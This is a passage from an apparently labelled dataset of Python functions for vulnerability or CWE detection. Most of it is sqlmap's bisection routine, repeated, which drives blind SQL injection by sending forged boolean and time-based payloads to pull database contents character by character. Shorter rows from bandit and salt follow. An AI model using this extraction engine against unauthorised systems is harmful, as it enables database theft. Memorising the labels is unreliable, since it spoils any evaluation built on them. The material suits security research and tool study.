                    infoMsg = ""\r[%s] [INFO] partially retrieved: %s"" % (time.strftime(""%X""), filterControlChars(partialValue))
            else:
                finalValue = """".join(value)
                infoMsg = ""\r[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), filterControlChars(finalValue))

            if conf.verbose in (1, 2) and infoMsg and not any((showEta, conf.api, kb.bruteMode)):
                dataToStdout(infoMsg)

        # No multi-threading (--threads = 1)
        else:
            index = firstChar
            threadData.shared.value = """"

            while True:
                index += 1

                # Common prediction feature (a.k.a. ""good samaritan"")
                # NOTE: to be used only when multi-threading is not set for
                # the moment
                if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
                    val = None
                    commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)

                    # If there is one single output in common-outputs, check
                    # it via equal against the query output
                    if commonValue is not None:
                        # One-shot query containing equals commonValue
                        testValue = unescaper.escape(""'%s'"" % commonValue) if ""'"" not in commonValue else unescaper.escape(""%s"" % commonValue, quote=False)

                        query = getTechniqueData().vector
                        query = agent.prefixQuery(query.replace(INFERENCE_MARKER, ""(%s)%s%s"" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue)))
                        query = agent.suffixQuery(query)

                        result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
                        incrementCounter(getTechnique())

                        # Did we have luck?
                        if result:
                            if showEta:
                                progress.progress(len(commonValue))
                            elif conf.verbose in (1, 2) or conf.api:
                                dataToStdout(filterControlChars(commonValue[index - 1:]))

                            finalValue = commonValue
                            break

                    # If there is a common pattern starting with partialValue,
                    # check it via equal against the substring-query output
                    if commonPattern is not None:
                        # Substring-query containing equals commonPattern
                        subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
                        testValue = unescaper.escape(""'%s'"" % commonPattern) if ""'"" not in commonPattern else unescaper.escape(""%s"" % commonPattern, quote=False)

                        query = getTechniqueData().vector
                        query = agent.prefixQuery(query.replace(INFERENCE_MARKER, ""(%s)=%s"" % (subquery, testValue)))
                        query = agent.suffixQuery(query)

                        result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
                        incrementCounter(getTechnique())

                        # Did we have luck?
                        if result:
                            val = commonPattern[index - 1:]
                            index += len(val) - 1

                    # Otherwise if there is no commonValue (single match from
                    # txt/common-outputs.txt) and no commonPattern
                    # (common pattern) use the returned common charset only
                    # to retrieve the query output
                    if not val and commonCharset:
                        val = getChar(index, commonCharset, False)

                    # If we had no luck with commonValue and common charset,
                    # use the returned other charset
                    if not val:
                        val = getChar(index, otherCharset, otherCharset == asciiTbl)
                else:
                    val = getChar(index, asciiTbl, not(charsetType is None and conf.charset))

                if val is None:
                    finalValue = partialValue
                    break

                if kb.data.processChar:
                    val = kb.data.processChar(val)

                threadData.shared.value = partialValue = partialValue + val

                if showEta:
                    progress.progress(index)
                elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api:
                    dataToStdout(filterControlChars(val))

                # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
                if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():
                    finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
                    break
                elif charsetType and partialValue[-1:].isspace():
                    finalValue = partialValue[:-1]
                    break

                if (lastChar > 0 and index >= lastChar):
                    finalValue = """" if length == 0 else partialValue
                    finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue
                    partialValue = None
                    break

    except KeyboardInterrupt:
        abortedFlag = True
    finally:
        kb.prependFlag = False
        retrievedLength = len(finalValue or """")

        if finalValue is not None:
            finalValue = decodeDbmsHexValue(finalValue) if conf.hexConvert else finalValue
            hashDBWrite(expression, finalValue)
        elif partialValue:
            hashDBWrite(expression, ""%s%s"" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))

    if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)):
        infoMsg = ""\r[%s] [INFO] retrieved: %s  %s\n"" % (time.strftime(""%X""), filterControlChars(finalValue), "" "" * retrievedLength)
        dataToStdout(infoMsg)
    else:
        if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
            dataToStdout(""\n"")

        if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
            infoMsg = ""retrieved: %s"" % filterControlChars(finalValue)
            logger.info(infoMsg)

    if kb.threadException:
        raise SqlmapThreadException(""something unexpected happened inside the threads"")

    if abortedFlag:
        raise KeyboardInterrupt

    _ = finalValue or partialValue

    return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _",,sqlmapproject/sqlmap,bd1ea4fd7324a6c181d0e493411cab9a107461ea,"def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
    """"""
    Bisection algorithm that can be used to perform blind SQL injection
    on an affected host
    """"""

    abortedFlag = False
    showEta = False
    partialValue = u""""
    finalValue = None
    retrievedLength = 0

    if payload is None:
        return 0, None

    if charsetType is None and conf.charset:
        asciiTbl = sorted(set(ord(_) for _ in conf.charset))
    else:
        asciiTbl = getCharset(charsetType)

    threadData = getCurrentThreadData()
    timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal:
        if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal:
            pass
        elif PARTIAL_HEX_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, """")

            if retVal and conf.hexConvert:
                partialValue = retVal
                infoMsg = ""resuming partial value: %s"" % safecharencode(partialValue)
                logger.info(infoMsg)
        elif PARTIAL_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_VALUE_MARKER, """")

            if retVal and not conf.hexConvert:
                partialValue = retVal
                infoMsg = ""resuming partial value: %s"" % safecharencode(partialValue)
                logger.info(infoMsg)
        else:
            infoMsg = ""resumed: %s"" % safecharencode(retVal)
            logger.info(infoMsg)

            return 0, retVal

    try:
        # Set kb.partRun in case ""common prediction"" feature (a.k.a. ""good samaritan"") is used or the engine is called from the API
        if conf.predictOutput:
            kb.partRun = getPartRun()
        elif conf.api:
            kb.partRun = getPartRun(alias=False)
        else:
            kb.partRun = None

        if partialValue:
            firstChar = len(partialValue)
        elif re.search(r""(?i)\b(LENGTH|LEN)\("", expression):
            firstChar = 0
        elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, ""isdigit"") and conf.firstChar.isdigit())):
            firstChar = int(conf.firstChar) - 1
            if kb.fileReadMode:
                firstChar <<= 1
        elif hasattr(firstChar, ""isdigit"") and firstChar.isdigit() or isinstance(firstChar, int):
            firstChar = int(firstChar) - 1
        else:
            firstChar = 0

        if re.search(r""(?i)\b(LENGTH|LEN)\("", expression):
            lastChar = 0
        elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, ""isdigit"") and conf.lastChar.isdigit())):
            lastChar = int(conf.lastChar)
        elif hasattr(lastChar, ""isdigit"") and lastChar.isdigit() or isinstance(lastChar, int):
            lastChar = int(lastChar)
        else:
            lastChar = 0

        if Backend.getDbms():
            _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
            nulledCastedField = agent.nullAndCastField(fieldToCastStr)
            expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
            expressionUnescaped = unescaper.escape(expressionReplaced)
        else:
            expressionUnescaped = unescaper.escape(expression)

        if hasattr(length, ""isdigit"") and length.isdigit() or isinstance(length, int):
            length = int(length)
        else:
            length = None

        if length == 0:
            return 0, """"

        if length and (lastChar > 0 or firstChar > 0):
            length = min(length, lastChar or length) - firstChar

        if length and length > MAX_BISECTION_LENGTH:
            length = None

        showEta = conf.eta and isinstance(length, int)

        if kb.bruteMode:
            numThreads = 1
        else:
            numThreads = min(conf.threads or 0, length or 0) or 1

        if showEta:
            progress = ProgressBar(maxValue=length)

        if numThreads > 1:
            if not timeBasedCompare or kb.forceThreads:
                debugMsg = ""starting %d thread%s"" % (numThreads, (""s"" if numThreads > 1 else """"))
                logger.debug(debugMsg)
            else:
                numThreads = 1

        if numThreads == 1 and not timeBasedCompare and not conf.predictOutput:
            warnMsg = ""running in a single-thread mode. Please consider ""
            warnMsg += ""usage of option '--threads' for faster data retrieval""
            singleTimeWarnMessage(warnMsg)

        if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
            if isinstance(length, int) and numThreads > 1:
                dataToStdout(""[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), ""_"" * min(length, conf.progressWidth)))
                dataToStdout(""\r[%s] [INFO] retrieved: "" % time.strftime(""%X""))
            else:
                dataToStdout(""\r[%s] [INFO] retrieved: "" % time.strftime(""%X""))

        hintlock = threading.Lock()

        def tryHint(idx):
            with hintlock:
                hintValue = kb.hintValue

            if payload is not None and len(hintValue or """") > 0 and len(hintValue) >= idx:
                if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
                    posValue = hintValue[idx - 1]
                else:
                    posValue = ord(hintValue[idx - 1])

                markingValue = ""'%s'"" % CHAR_INFERENCE_MARK
                unescapedCharValue = unescaper.escape(""'%s'"" % decodeIntToUnicode(posValue))
                forgedPayload = agent.extractPayload(payload)
                forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)).replace(markingValue, unescapedCharValue)
                result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(getTechnique())

                if result:
                    return hintValue[idx - 1]

            with hintlock:
                kb.hintValue = """"

            return None

        def validateChar(idx, value):
            """"""
            Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay
            """"""

            validationPayload = re.sub(r""(%s.*?)%s(.*?%s)"" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r""\g<1>%s\g<2>"" % INFERENCE_NOT_EQUALS_CHAR, payload)

            if ""'%s'"" % CHAR_INFERENCE_MARK not in payload:
                forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value))
            else:
                # e.g.: ... > '%c' -> ... > ORD(..)
                markingValue = ""'%s'"" % CHAR_INFERENCE_MARK
                unescapedCharValue = unescaper.escape(""'%s'"" % decodeIntToUnicode(value))
                forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)

            result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)

            if result and timeBasedCompare and getTechniqueData().trueCode:
                result = threadData.lastCode == getTechniqueData().trueCode
                if not result:
                    warnMsg = ""detected HTTP code '%s' in validation phase is differing from expected '%s'"" % (threadData.lastCode, getTechniqueData().trueCode)
                    singleTimeWarnMessage(warnMsg)

            incrementCounter(getTechnique())

            return result

        def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
            """"""
            continuousOrder means that distance between each two neighbour's
            numerical values is exactly 1
            """"""

            result = tryHint(idx)

            if result:
                return result

            if charTbl is None:
                charTbl = type(asciiTbl)(asciiTbl)

            originalTbl = type(charTbl)(charTbl)

            if continuousOrder and shiftTable is None:
                # Used for gradual expanding into unicode charspace
                shiftTable = [2, 2, 3, 3, 5, 4]

            if ""'%s'"" % CHAR_INFERENCE_MARK in payload:
                for char in ('\n', '\r'):
                    if ord(char) in charTbl:
                        charTbl.remove(ord(char))

            if not charTbl:
                return None

            elif len(charTbl) == 1:
                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(getTechnique())

                if result:
                    return decodeIntToUnicode(charTbl[0])
                else:
                    return None

            maxChar = maxValue = charTbl[-1]
            minValue = charTbl[0]
            firstCheck = False
            lastCheck = False
            unexpectedCode = False

            if continuousOrder:
                while len(charTbl) > 1:
                    position = None

                    if charsetType is None:
                        if not firstCheck:
                            try:
                                try:
                                    lastChar = [_ for _ in threadData.shared.value if _ is not None][-1]
                                except IndexError:
                                    lastChar = None
                                else:
                                    if 'a' <= lastChar <= 'z':
                                        position = charTbl.index(ord('a') - 1)  # 96
                                    elif 'A' <= lastChar <= 'Z':
                                        position = charTbl.index(ord('A') - 1)  # 64
                                    elif '0' <= lastChar <= '9':
                                        position = charTbl.index(ord('0') - 1)  # 47
                            except ValueError:
                                pass
                            finally:
                                firstCheck = True

                        elif not lastCheck and numThreads == 1:  # not usable in multi-threading environment
                            if charTbl[(len(charTbl) >> 1)] < ord(' '):
                                try:
                                    # favorize last char check if current value inclines toward 0
                                    position = charTbl.index(1)
                                except ValueError:
                                    pass
                                finally:
                                    lastCheck = True

                    if position is None:
                        position = (len(charTbl) >> 1)

                    posValue = charTbl[position]
                    falsePayload = None

                    if ""'%s'"" % CHAR_INFERENCE_MARK not in payload:
                        forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
                        falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
                    else:
                        # e.g.: ... > '%c' -> ... > ORD(..)
                        markingValue = ""'%s'"" % CHAR_INFERENCE_MARK
                        unescapedCharValue = unescaper.escape(""'%s'"" % decodeIntToUnicode(posValue))
                        forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
                        falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL)

                    if timeBasedCompare:
                        if kb.responseTimeMode:
                            kb.responseTimePayload = falsePayload
                        else:
                            kb.responseTimePayload = None

                    result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                    incrementCounter(getTechnique())

                    if not timeBasedCompare:
                        unexpectedCode |= threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode)
                        if unexpectedCode:
                            warnMsg = ""unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases"" % threadData.lastCode
                            singleTimeWarnMessage(warnMsg)

                    if result:
                        minValue = posValue

                        if not isinstance(charTbl, xrange):
                            charTbl = charTbl[position:]
                        else:
                            # xrange() - extended virtual charset used for memory/space optimization
                            charTbl = xrange(charTbl[position], charTbl[-1] + 1)
                    else:
                        maxValue = posValue

                        if not isinstance(charTbl, xrange):
                            charTbl = charTbl[:position]
                        else:
                            charTbl = xrange(charTbl[0], charTbl[position])

                    if len(charTbl) == 1:
                        if maxValue == 1:
                            return None

                        # Going beyond the original charset
                        elif minValue == maxChar:
                            # If the original charTbl was [0,..,127] new one
                            # will be [128,..,(128 << 4) - 1] or from 128 to 2047
                            # and instead of making a HUGE list with all the
                            # elements we use a xrange, which is a virtual
                            # list
                            if expand and shiftTable:
                                charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
                                originalTbl = xrange(charTbl)
                                maxChar = maxValue = charTbl[-1]
                                minValue = charTbl[0]
                            else:
                                return None
                        else:
                            retVal = minValue + 1

                            if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
                                if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):
                                    if not kb.originalTimeDelay:
                                        kb.originalTimeDelay = conf.timeSec

                                    threadData.validationRun = 0
                                    if (retried or 0) < MAX_REVALIDATION_STEPS:
                                        errMsg = ""invalid character detected. retrying..""
                                        logger.error(errMsg)

                                        if timeBasedCompare:
                                            if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
                                                conf.timeSec += 1
                                                warnMsg = ""increasing time delay to %d second%s"" % (conf.timeSec, 's' if conf.timeSec > 1 else '')
                                                logger.warn(warnMsg)

                                            if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
                                                dbgMsg = ""turning off time auto-adjustment mechanism""
                                                logger.debug(dbgMsg)
                                                kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO

                                        return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)
                                    else:
                                        errMsg = ""unable to properly validate last character value ('%s').."" % decodeIntToUnicode(retVal)
                                        logger.error(errMsg)
                                        conf.timeSec = kb.originalTimeDelay
                                        return decodeIntToUnicode(retVal)
                                else:
                                    if timeBasedCompare:
                                        threadData.validationRun += 1
                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
                                            dbgMsg = ""turning back on time auto-adjustment mechanism""
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES

                                    return decodeIntToUnicode(retVal)
                            else:
                                return None
            else:
                candidates = list(originalTbl)
                bit = 0
                while len(candidates) > 1:
                    bits = {}
                    for candidate in candidates:
                        bit = 0
                        while candidate:
                            bits.setdefault(bit, 0)
                            bits[bit] += 1 if candidate & 1 else -1
                            candidate >>= 1
                            bit += 1

                    choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0]
                    mask = 1 << choice

                    forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, ""&%d%s"" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0))
                    result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                    incrementCounter(getTechnique())

                    if result:
                        candidates = [_ for _ in candidates if _ & mask > 0]
                    else:
                        candidates = [_ for _ in candidates if _ & mask == 0]

                    bit += 1

                if candidates:
                    forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0]))
                    result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                    incrementCounter(getTechnique())

                    if result:
                        return decodeIntToUnicode(candidates[0])

        # Go multi-threading (--threads > 1)
        if numThreads > 1 and isinstance(length, int) and length > 1:
            threadData.shared.value = [None] * length
            threadData.shared.index = [firstChar]    # As list for python nested function scoping
            threadData.shared.start = firstChar

            try:
                def blindThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        with kb.locks.index:
                            if threadData.shared.index[0] - firstChar >= length:
                                return

                            threadData.shared.index[0] += 1
                            currentCharIndex = threadData.shared.index[0]

                        if kb.threadContinue:
                            val = getChar(currentCharIndex, asciiTbl, not(charsetType is None and conf.charset))
                            if val is None:
                                val = INFERENCE_UNKNOWN_CHAR
                        else:
                            break

                        with kb.locks.value:
                            threadData.shared.value[currentCharIndex - 1 - firstChar] = val
                            currentValue = list(threadData.shared.value)

                        if kb.threadContinue:
                            if showEta:
                                progress.progress(threadData.shared.index[0])
                            elif conf.verbose >= 1:
                                startCharIndex = 0
                                endCharIndex = 0

                                for i in xrange(length):
                                    if currentValue[i] is not None:
                                        endCharIndex = max(endCharIndex, i)

                                output = ''

                                if endCharIndex > conf.progressWidth:
                                    startCharIndex = endCharIndex - conf.progressWidth

                                count = threadData.shared.start

                                for i in xrange(startCharIndex, endCharIndex + 1):
                                    output += '_' if currentValue[i] is None else filterControlChars(currentValue[i] if len(currentValue[i]) == 1 else ' ', replacement=' ')

                                for i in xrange(length):
                                    count += 1 if currentValue[i] is not None else 0

                                if startCharIndex > 0:
                                    output = "".."" + output[2:]

                                if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):
                                    output = output[:-2] + ""..""

                                if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
                                    _ = count - firstChar
                                    output += '_' * (min(length, conf.progressWidth) - len(output))
                                    status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length))
                                    output += status if _ != length else "" "" * len(status)

                                    dataToStdout(""\r[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), output))

                runThreads(numThreads, blindThread, startThreadMsg=False)

            except KeyboardInterrupt:
                abortedFlag = True

            finally:
                value = [_ for _ in partialValue]
                value.extend(_ for _ in threadData.shared.value)

            infoMsg = None

            # If we have got one single character not correctly fetched it
            # can mean that the connection to the target URL was lost
            if None in value:
                partialValue = """".join(value[:value.index(None)])

                if partialValue:
                    infoMsg = ""\r[%s] [INFO] partially retrieved: %s"" % (time.strftime(""%X""), filterControlChars(partialValue))
            else:
                finalValue = """".join(value)
                infoMsg = ""\r[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), filterControlChars(finalValue))

            if conf.verbose in (1, 2) and infoMsg and not any((showEta, conf.api, kb.bruteMode)):
                dataToStdout(infoMsg)

        # No multi-threading (--threads = 1)
        else:
            index = firstChar
            threadData.shared.value = """"

            while True:
                index += 1

                # Common prediction feature (a.k.a. ""good samaritan"")
                # NOTE: to be used only when multi-threading is not set for
                # the moment
                if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
                    val = None
                    commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)

                    # If there is one single output in common-outputs, check
                    # it via equal against the query output
                    if commonValue is not None:
                        # One-shot query containing equals commonValue
                        testValue = unescaper.escape(""'%s'"" % commonValue) if ""'"" not in commonValue else unescaper.escape(""%s"" % commonValue, quote=False)

                        query = getTechniqueData().vector
                        query = agent.prefixQuery(query.replace(INFERENCE_MARKER, ""(%s)%s%s"" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue)))
                        query = agent.suffixQuery(query)

                        result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
                        incrementCounter(getTechnique())

                        # Did we have luck?
                        if result:
                            if showEta:
                                progress.progress(len(commonValue))
                            elif conf.verbose in (1, 2) or conf.api:
                                dataToStdout(filterControlChars(commonValue[index - 1:]))

                            finalValue = commonValue
                            break

                    # If there is a common pattern starting with partialValue,
                    # check it via equal against the substring-query output
                    if commonPattern is not None:
                        # Substring-query containing equals commonPattern
                        subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
                        testValue = unescaper.escape(""'%s'"" % commonPattern) if ""'"" not in commonPattern else unescaper.escape(""%s"" % commonPattern, quote=False)

                        query = getTechniqueData().vector
                        query = agent.prefixQuery(query.replace(INFERENCE_MARKER, ""(%s)=%s"" % (subquery, testValue)))
                        query = agent.suffixQuery(query)

                        result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
                        incrementCounter(getTechnique())

                        # Did we have luck?
                        if result:
                            val = commonPattern[index - 1:]
                            index += len(val) - 1

                    # Otherwise if there is no commonValue (single match from
                    # txt/common-outputs.txt) and no commonPattern
                    # (common pattern) use the returned common charset only
                    # to retrieve the query output
                    if not val and commonCharset:
                        val = getChar(index, commonCharset, False)

                    # If we had no luck with commonValue and common charset,
                    # use the returned other charset
                    if not val:
                        val = getChar(index, otherCharset, otherCharset == asciiTbl)
                else:
                    val = getChar(index, asciiTbl, not(charsetType is None and conf.charset))

                if val is None:
                    finalValue = partialValue
                    break

                if kb.data.processChar:
                    val = kb.data.processChar(val)

                threadData.shared.value = partialValue = partialValue + val

                if showEta:
                    progress.progress(index)
                elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api:
                    dataToStdout(filterControlChars(val))

                # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
                if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():
                    finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
                    break
                elif charsetType and partialValue[-1:].isspace():
                    finalValue = partialValue[:-1]
                    break

                if (lastChar > 0 and index >= lastChar):
                    finalValue = """" if length == 0 else partialValue
                    finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue
                    partialValue = None
                    break

    except KeyboardInterrupt:
        abortedFlag = True
    finally:
        kb.prependFlag = False
        retrievedLength = len(finalValue or """")

        if finalValue is not None:
            finalValue = decodeDbmsHexValue(finalValue) if conf.hexConvert else finalValue
            hashDBWrite(expression, finalValue)
        elif partialValue:
            hashDBWrite(expression, ""%s%s"" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))

    if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)):
        infoMsg = ""\r[%s] [INFO] retrieved: %s  %s\n"" % (time.strftime(""%X""), filterControlChars(finalValue), "" "" * retrievedLength)
        dataToStdout(infoMsg)
    else:
        if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
            dataToStdout(""\n"")

        if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
            infoMsg = ""retrieved: %s"" % filterControlChars(finalValue)
            logger.info(infoMsg)

    if kb.threadException:
        raise SqlmapThreadException(""something unexpected happened inside the threads"")

    if abortedFlag:
        raise KeyboardInterrupt

    _ = finalValue or partialValue

    return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/node_visitor.py,0,"def load_buffer(self, fdata):
        '''Buffer initialization

        Read the file as lines, so we can store the length of the file
        so we don't lose multi-line statements at the bottom of the target
        file
        :param fdata: The code to be parsed into the buffer
        '''
        self._buffer = []
        self.skip_lines = []
        lines = fdata.readlines()
        self.file_len = len(lines)

        for lineno in range(self.file_len):
            found = False
            for flag in constants.SKIP_FLAGS:
                if ""#"" + flag in lines[lineno].replace("" "", """").lower():
                    found = True
            if found:
                self.skip_lines.append(lineno + 1)

        f_ast = ast.parse("""".join(lines))
        # We need to expand body blocks within compound statements
        # into our statement buffer so each gets processed in
        # isolation
        tmp_buf = f_ast.body
        while len(tmp_buf):
            # For each statement, if it is one of the special statement
            # types which contain a body, we first update the tmp_buf
            # adding the internal body statements to the beginning of
            # the temporary buffer, then clear the body of the special
            # statement before adding it to the primary buffer
            stmt = tmp_buf.pop(0)
            if (isinstance(stmt, ast.ClassDef)
                    or isinstance(stmt, ast.FunctionDef)
                    or isinstance(stmt, ast.With)
                    or isinstance(stmt, ast.Module)
                    or isinstance(stmt, ast.Interactive)):
                stmt.body.extend(tmp_buf)
                tmp_buf = stmt.body
                stmt.body = []
            elif (isinstance(stmt, ast.For)
                    or isinstance(stmt, ast.While)
                    or isinstance(stmt, ast.If)):
                stmt.body.extend(stmt.orelse)
                stmt.body.extend(tmp_buf)
                tmp_buf = stmt.body
                stmt.body = []
                stmt.orelse = []
            elif isinstance(stmt, ast_Try):
                for handler in getattr(stmt, 'handlers', []):
                    stmt.body.extend(handler.body)
                stmt.body.extend(getattr(stmt, 'orelse', []))
                stmt.body.extend(tmp_buf)
                tmp_buf = stmt.body
                stmt.body = []
                stmt.orelse = []
                stmt.handlers = []
                stmt.finalbody = []

            # once we are sure it's either a single statement or that
            # any content in a compound statement body has been removed
            # we can add it to our primary buffer. The compound body
            # must be removed so the ast isn't walked multiple times
            # and isn't included in line-by-line output
            self._buffer.append(stmt)",UNKNOWN,PyCQA/bandit,36e28b331ade2a815c232cc8b6c0d4cc69b2f66d,"def load_buffer(self, fdata):
        '''Buffer initialization

        Read the file as lines, so we can store the length of the file
        so we don't lose multi-line statements at the bottom of the target
        file
        :param fdata: The code to be parsed into the buffer
        '''
        self._buffer = []
        self.skip_lines = []
        lines = fdata.readlines()
        self.file_len = len(lines)

        for lineno in range(self.file_len):
            found = False
            for flag in constants.SKIP_FLAGS:
                if ""#"" + flag in lines[lineno].replace("" "", """").lower():
                    found = True
            if found:
                self.skip_lines.append(lineno + 1)

        f_ast = ast.parse("""".join(lines))
        # We need to expand body blocks within compound statements
        # into our statement buffer so each gets processed in
        # isolation
        tmp_buf = f_ast.body
        while len(tmp_buf):
            # For each statement, if it is one of the special statement
            # types which contain a body, we first update the tmp_buf
            # adding the internal body statements to the beginning of
            # the temporary buffer, then clear the body of the special
            # statement before adding it to the primary buffer
            stmt = tmp_buf.pop(0)
            if (isinstance(stmt, ast.ClassDef)
                    or isinstance(stmt, ast.FunctionDef)
                    or isinstance(stmt, ast.With)
                    or isinstance(stmt, ast.Module)
                    or isinstance(stmt, ast.Interactive)):
                stmt.body.extend(tmp_buf)
                tmp_buf = stmt.body
                stmt.body = []
            elif (isinstance(stmt, ast.For)
                    or isinstance(stmt, ast.While)
                    or isinstance(stmt, ast.If)):
                stmt.body.extend(stmt.orelse)
                stmt.body.extend(tmp_buf)
                tmp_buf = stmt.body
                stmt.body = []
                stmt.orelse = []
            elif isinstance(stmt, ast_Try):
                for handler in getattr(stmt, 'handlers', []):
                    stmt.body.extend(handler.body)
                stmt.body.extend(getattr(stmt, 'orelse', []))
                stmt.body.extend(tmp_buf)
                tmp_buf = stmt.body
                stmt.body = []
                stmt.orelse = []
                stmt.handlers = []
                stmt.finalbody = []

            # once we are sure it's either a single statement or that
            # any content in a compound statement body has been removed
            # we can add it to our primary buffer. The compound body
            # must be removed so the ast isn't walked multiple times
            # and isn't included in line-by-line output
            self._buffer.append(stmt)"
,UNKNOWN,UNKNOWN,salt/states/augeas.py,1,"def change(name, context=None, changes=None, lens=None, **kwargs):
    '''
    .. versionadded:: 2014.7.0

    This state replaces :py:func:`~salt.states.augeas.setvalue`.

    Issue changes to Augeas, optionally for a specific context, with a
    specific lens.

    name
        State name

    context
